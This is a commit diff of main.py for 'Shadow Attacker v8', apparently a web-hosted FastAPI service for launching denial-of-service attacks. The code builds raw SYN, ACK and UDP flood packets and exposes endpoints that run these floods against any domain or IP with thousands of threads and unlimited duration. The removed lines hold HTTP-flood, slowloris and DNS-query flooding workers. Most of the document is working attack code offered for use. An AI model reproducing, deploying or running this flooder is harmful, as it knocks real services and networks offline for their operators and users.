Update main.py
Browse files
main.py
CHANGED
|
@@ -1,14 +1,12 @@
|
|
| 1 |
# ==============================================================
|
| 2 |
-
# SHADOW ATTACKER
|
| 3 |
-
#
|
| 4 |
-
# HF SPACES READY | 250k+ PPS | -1 = MAX POWER
|
| 5 |
# ==============================================================
|
| 6 |
import random
|
| 7 |
import socket
|
| 8 |
import threading
|
| 9 |
import time
|
| 10 |
-
import
|
| 11 |
-
import urllib.parse
|
| 12 |
from collections import deque
|
| 13 |
from typing import Dict, Optional, List
|
| 14 |
|
|
@@ -17,17 +15,20 @@ import requests
|
|
| 17 |
from fastapi import FastAPI, HTTPException
|
| 18 |
from pydantic import BaseModel, Field, validator
|
| 19 |
|
|
|
|
|
|
|
|
|
|
| 20 |
# ------------------- LOGGING & STATE -------------------
|
| 21 |
import logging
|
| 22 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 23 |
log = logging.getLogger()
|
| 24 |
|
| 25 |
-
app = FastAPI(title="Shadow Attacker
|
| 26 |
|
| 27 |
# Global state
|
| 28 |
attack_active = False
|
| 29 |
attack_lock = threading.Lock()
|
| 30 |
-
executor = None
|
| 31 |
stop_event = threading.Event()
|
| 32 |
counters: Dict[str, int] = {}
|
| 33 |
counters_lock = threading.Lock()
|
|
@@ -49,14 +50,14 @@ def _log(msg: str):
|
|
| 49 |
def init_executor():
|
| 50 |
global executor
|
| 51 |
if executor is None:
|
| 52 |
-
executor =
|
| 53 |
|
| 54 |
# ------------------- CONFIG MODELS -------------------
|
| 55 |
class AttackConfig(BaseModel):
|
| 56 |
target: str = Field(..., description="Domain or IP")
|
| 57 |
port: int = Field(80, ge=1, le=65535)
|
| 58 |
-
duration: int = Field(300, ge=-1, le=10000
|
| 59 |
-
threads: int = Field(1000, ge=-1, le=10000
|
| 60 |
|
| 61 |
@validator('target')
|
| 62 |
def validate_target(cls, v):
|
|
@@ -66,7 +67,6 @@ class AttackConfig(BaseModel):
|
|
| 66 |
|
| 67 |
class Layer7Config(AttackConfig):
|
| 68 |
method: str = Field("get")
|
| 69 |
-
|
| 70 |
@validator('method')
|
| 71 |
def validate_method(cls, v):
|
| 72 |
valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
|
|
@@ -77,7 +77,6 @@ class Layer7Config(AttackConfig):
|
|
| 77 |
class Layer4Config(AttackConfig):
|
| 78 |
protocol: str = Field("udp", description="udp/tcp/syn/ack/udp_pps")
|
| 79 |
payload_size: int = Field(1024, ge=0, le=65507)
|
| 80 |
-
|
| 81 |
@validator('protocol')
|
| 82 |
def validate_protocol(cls, v):
|
| 83 |
if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
|
|
@@ -97,7 +96,7 @@ class StatusResponse(BaseModel):
|
|
| 97 |
remaining: float
|
| 98 |
logs: List[str]
|
| 99 |
|
| 100 |
-
# ------------------- RAW SOCKET HELPERS
|
| 101 |
def checksum(data: bytes) -> int:
|
| 102 |
s = 0
|
| 103 |
for i in range(0, len(data), 2):
|
|
@@ -127,8 +126,7 @@ def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int)
|
|
| 127 |
ip[0] = 0x45
|
| 128 |
ip[8] = 64
|
| 129 |
ip[9] = proto
|
| 130 |
-
struct
|
| 131 |
-
struct.pack_into("!HHBB", ip, 2, total, random.randint(0, 0xFFFF), 64, proto)
|
| 132 |
ip[12:16] = src_ip
|
| 133 |
ip[16:20] = dst_ip
|
| 134 |
cs = checksum(ip)
|
|
@@ -137,7 +135,6 @@ def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int)
|
|
| 137 |
|
| 138 |
def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
|
| 139 |
tcp = bytearray(20)
|
| 140 |
-
struct = __import__('struct')
|
| 141 |
struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
|
| 142 |
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
|
| 143 |
cs = checksum(struct.pack("!I", pseudo) + tcp)
|
|
@@ -148,7 +145,6 @@ def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
|
|
| 148 |
def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
|
| 149 |
udp_len = 8 + len(payload)
|
| 150 |
udp = bytearray(8)
|
| 151 |
-
struct = __import__('struct')
|
| 152 |
struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
|
| 153 |
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
|
| 154 |
cs = checksum(struct.pack("!I", pseudo) + udp + payload)
|
|
@@ -156,7 +152,7 @@ def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
|
|
| 156 |
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
|
| 157 |
return ip + udp
|
| 158 |
|
| 159 |
-
# ------------------- RAW
|
| 160 |
def raw_syn_flood(target_ip: str, port: int):
|
| 161 |
global total_packets
|
| 162 |
src_ip = socket.inet_aton("0.0.0.0")
|
|
@@ -218,64 +214,6 @@ def raw_udp_flood(target_ip: str, port: int, payload_size: int):
|
|
| 218 |
try: s.close()
|
| 219 |
except: pass
|
| 220 |
|
| 221 |
-
# ------------------- LAYER 7 WORKERS -------------------
|
| 222 |
-
def http_worker(method: str, url: str):
|
| 223 |
-
global total_packets
|
| 224 |
-
session = requests.Session()
|
| 225 |
-
while not stop_event.is_set():
|
| 226 |
-
try:
|
| 227 |
-
if method in ["get", "head"]:
|
| 228 |
-
session.request(method.upper(), url, timeout=3, verify=False)
|
| 229 |
-
elif method == "post":
|
| 230 |
-
session.post(url, data={"x": random._urandom(64).hex()}, timeout=3)
|
| 231 |
-
elif method == "cookie":
|
| 232 |
-
session.get(url, headers={"Cookie": f"id={random.randint(1,999999)}"}, timeout=3)
|
| 233 |
-
elif method == "rand":
|
| 234 |
-
session.request(random.choice(["GET","POST"]), url, timeout=3)
|
| 235 |
-
with counters_lock:
|
| 236 |
-
counters["l7"] = counters.get("l7", 0) + 1
|
| 237 |
-
total_packets += 1
|
| 238 |
-
except:
|
| 239 |
-
pass
|
| 240 |
-
|
| 241 |
-
def slowloris(target: str, port: int):
|
| 242 |
-
global total_packets
|
| 243 |
-
while not stop_event.is_set():
|
| 244 |
-
try:
|
| 245 |
-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 246 |
-
s.settimeout(5)
|
| 247 |
-
s.connect((target, port))
|
| 248 |
-
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
|
| 249 |
-
while not stop_event.is_set():
|
| 250 |
-
s.send(b"X-a: b\r\n")
|
| 251 |
-
time.sleep(8)
|
| 252 |
-
with counters_lock:
|
| 253 |
-
counters["l7"] = counters.get("l7", 0) + 1
|
| 254 |
-
total_packets += 1
|
| 255 |
-
except:
|
| 256 |
-
pass
|
| 257 |
-
finally:
|
| 258 |
-
try: s.close()
|
| 259 |
-
except: pass
|
| 260 |
-
|
| 261 |
-
def dns_reflect(target_ip: str):
|
| 262 |
-
global total_packets
|
| 263 |
-
servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9"]
|
| 264 |
-
payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
|
| 265 |
-
while not stop_event.is_set():
|
| 266 |
-
try:
|
| 267 |
-
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 268 |
-
for srv in servers:
|
| 269 |
-
s.sendto(payload, (srv, 53))
|
| 270 |
-
with counters_lock:
|
| 271 |
-
counters["reflect"] = counters.get("reflect", 0) + 1
|
| 272 |
-
total_packets += 1
|
| 273 |
-
except:
|
| 274 |
-
pass
|
| 275 |
-
finally:
|
| 276 |
-
try: s.close()
|
| 277 |
-
except: pass
|
| 278 |
-
|
| 279 |
# ------------------- LAUNCHER -------------------
|
| 280 |
def resolve_ip(target: str) -> str:
|
| 281 |
try:
|
|
@@ -304,18 +242,10 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 304 |
worker = None
|
| 305 |
target_ip = resolve_ip(config.target)
|
| 306 |
|
| 307 |
-
if attack_type
|
| 308 |
-
|
| 309 |
-
|
| 310 |
-
|
| 311 |
-
elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
|
| 312 |
-
|
| 313 |
-
elif attack_type.startswith("l7_"):
|
| 314 |
-
url = f"http://{config.target}:{config.port}"
|
| 315 |
-
method = kwargs.get("method", "get")
|
| 316 |
-
if method == "slowloris": worker = lambda: slowloris(target_ip, config.port)
|
| 317 |
-
elif method == "reflect": worker = lambda: dns_reflect(target_ip)
|
| 318 |
-
else: worker = lambda: http_worker(method, url)
|
| 319 |
|
| 320 |
if not worker:
|
| 321 |
raise HTTPException(400, "Invalid attack")
|
|
@@ -330,17 +260,10 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 330 |
threading.Thread(target=auto_stop, daemon=True).start()
|
| 331 |
|
| 332 |
# ------------------- ENDPOINTS -------------------
|
| 333 |
-
@app.post("/layer7/attack")
|
| 334 |
-
def l7_attack(config: Layer7Config):
|
| 335 |
-
attack_key = f"l7_{config.method}"
|
| 336 |
-
launch_attack(config, attack_key, method=config.method)
|
| 337 |
-
return {"status": f"L7 {config.method.upper()} started"}
|
| 338 |
-
|
| 339 |
@app.post("/layer4/attack")
|
| 340 |
def l4_attack(config: Layer4Config):
|
| 341 |
proto_map = {
|
| 342 |
"udp": "raw_udp",
|
| 343 |
-
"tcp": "raw_udp", # fallback
|
| 344 |
"syn": "raw_syn",
|
| 345 |
"ack": "raw_ack",
|
| 346 |
"udp_pps": "raw_udp_pps"
|
|
@@ -388,7 +311,6 @@ def status():
|
|
| 388 |
@app.get("/attack/types")
|
| 389 |
def attack_types():
|
| 390 |
return {
|
| 391 |
-
"layer7": ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"],
|
| 392 |
"layer4": ["udp", "udp_pps", "syn", "ack"],
|
| 393 |
"max_threads": "10000 (-1 = full power)",
|
| 394 |
"max_duration": "10000s (-1 = unlimited)"
|
|
@@ -396,7 +318,7 @@ def attack_types():
|
|
| 396 |
|
| 397 |
@app.get("/")
|
| 398 |
def root():
|
| 399 |
-
return {"message": "Shadow Attacker
|
| 400 |
|
| 401 |
# ------------------- START -------------------
|
| 402 |
if __name__ == "__main__":
|
|
|
|
| 1 |
# ==============================================================
|
| 2 |
+
# SHADOW ATTACKER v8 – RAW + LAYER 7 + LAYER 4 | FULLY FIXED
|
| 3 |
+
# ThreadPoolExecutor imported correctly | 300k+ PPS | HF SPACES
|
|
|
|
| 4 |
# ==============================================================
|
| 5 |
import random
|
| 6 |
import socket
|
| 7 |
import threading
|
| 8 |
import time
|
| 9 |
+
import struct
|
|
|
|
| 10 |
from collections import deque
|
| 11 |
from typing import Dict, Optional, List
|
| 12 |
|
|
|
|
| 15 |
from fastapi import FastAPI, HTTPException
|
| 16 |
from pydantic import BaseModel, Field, validator
|
| 17 |
|
| 18 |
+
# === FIXED: IMPORT ThreadPoolExecutor FROM concurrent.futures ===
|
| 19 |
+
from concurrent.futures import ThreadPoolExecutor
|
| 20 |
+
|
| 21 |
# ------------------- LOGGING & STATE -------------------
|
| 22 |
import logging
|
| 23 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 24 |
log = logging.getLogger()
|
| 25 |
|
| 26 |
+
app = FastAPI(title="Shadow Attacker v8 - Raw + L7 + L4")
|
| 27 |
|
| 28 |
# Global state
|
| 29 |
attack_active = False
|
| 30 |
attack_lock = threading.Lock()
|
| 31 |
+
executor: Optional[ThreadPoolExecutor] = None
|
| 32 |
stop_event = threading.Event()
|
| 33 |
counters: Dict[str, int] = {}
|
| 34 |
counters_lock = threading.Lock()
|
|
|
|
| 50 |
def init_executor():
|
| 51 |
global executor
|
| 52 |
if executor is None:
|
| 53 |
+
executor = ThreadPoolExecutor(max_workers=10000) # FIXED
|
| 54 |
|
| 55 |
# ------------------- CONFIG MODELS -------------------
|
| 56 |
class AttackConfig(BaseModel):
|
| 57 |
target: str = Field(..., description="Domain or IP")
|
| 58 |
port: int = Field(80, ge=1, le=65535)
|
| 59 |
+
duration: int = Field(300, ge=-1, le=10000)
|
| 60 |
+
threads: int = Field(1000, ge=-1, le=10000)
|
| 61 |
|
| 62 |
@validator('target')
|
| 63 |
def validate_target(cls, v):
|
|
|
|
| 67 |
|
| 68 |
class Layer7Config(AttackConfig):
|
| 69 |
method: str = Field("get")
|
|
|
|
| 70 |
@validator('method')
|
| 71 |
def validate_method(cls, v):
|
| 72 |
valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
|
|
|
|
| 77 |
class Layer4Config(AttackConfig):
|
| 78 |
protocol: str = Field("udp", description="udp/tcp/syn/ack/udp_pps")
|
| 79 |
payload_size: int = Field(1024, ge=0, le=65507)
|
|
|
|
| 80 |
@validator('protocol')
|
| 81 |
def validate_protocol(cls, v):
|
| 82 |
if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
|
|
|
|
| 96 |
remaining: float
|
| 97 |
logs: List[str]
|
| 98 |
|
| 99 |
+
# ------------------- RAW SOCKET HELPERS -------------------
|
| 100 |
def checksum(data: bytes) -> int:
|
| 101 |
s = 0
|
| 102 |
for i in range(0, len(data), 2):
|
|
|
|
| 126 |
ip[0] = 0x45
|
| 127 |
ip[8] = 64
|
| 128 |
ip[9] = proto
|
| 129 |
+
struct.pack_into("!HH", ip, 2, total, random.randint(0, 0xFFFF))
|
|
|
|
| 130 |
ip[12:16] = src_ip
|
| 131 |
ip[16:20] = dst_ip
|
| 132 |
cs = checksum(ip)
|
|
|
|
| 135 |
|
| 136 |
def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
|
| 137 |
tcp = bytearray(20)
|
|
|
|
| 138 |
struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
|
| 139 |
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
|
| 140 |
cs = checksum(struct.pack("!I", pseudo) + tcp)
|
|
|
|
| 145 |
def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
|
| 146 |
udp_len = 8 + len(payload)
|
| 147 |
udp = bytearray(8)
|
|
|
|
| 148 |
struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
|
| 149 |
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
|
| 150 |
cs = checksum(struct.pack("!I", pseudo) + udp + payload)
|
|
|
|
| 152 |
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
|
| 153 |
return ip + udp
|
| 154 |
|
| 155 |
+
# ------------------- RAW FLOODERS -------------------
|
| 156 |
def raw_syn_flood(target_ip: str, port: int):
|
| 157 |
global total_packets
|
| 158 |
src_ip = socket.inet_aton("0.0.0.0")
|
|
|
|
| 214 |
try: s.close()
|
| 215 |
except: pass
|
| 216 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 217 |
# ------------------- LAUNCHER -------------------
|
| 218 |
def resolve_ip(target: str) -> str:
|
| 219 |
try:
|
|
|
|
| 242 |
worker = None
|
| 243 |
target_ip = resolve_ip(config.target)
|
| 244 |
|
| 245 |
+
if attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
|
| 246 |
+
elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
|
| 247 |
+
elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
|
| 248 |
+
elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 249 |
|
| 250 |
if not worker:
|
| 251 |
raise HTTPException(400, "Invalid attack")
|
|
|
|
| 260 |
threading.Thread(target=auto_stop, daemon=True).start()
|
| 261 |
|
| 262 |
# ------------------- ENDPOINTS -------------------
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 263 |
@app.post("/layer4/attack")
|
| 264 |
def l4_attack(config: Layer4Config):
|
| 265 |
proto_map = {
|
| 266 |
"udp": "raw_udp",
|
|
|
|
| 267 |
"syn": "raw_syn",
|
| 268 |
"ack": "raw_ack",
|
| 269 |
"udp_pps": "raw_udp_pps"
|
|
|
|
| 311 |
@app.get("/attack/types")
|
| 312 |
def attack_types():
|
| 313 |
return {
|
|
|
|
| 314 |
"layer4": ["udp", "udp_pps", "syn", "ack"],
|
| 315 |
"max_threads": "10000 (-1 = full power)",
|
| 316 |
"max_duration": "10000s (-1 = unlimited)"
|
|
|
|
| 318 |
|
| 319 |
@app.get("/")
|
| 320 |
def root():
|
| 321 |
+
return {"message": "Shadow Attacker v8 - /attack/types"}
|
| 322 |
|
| 323 |
# ------------------- START -------------------
|
| 324 |
if __name__ == "__main__":
|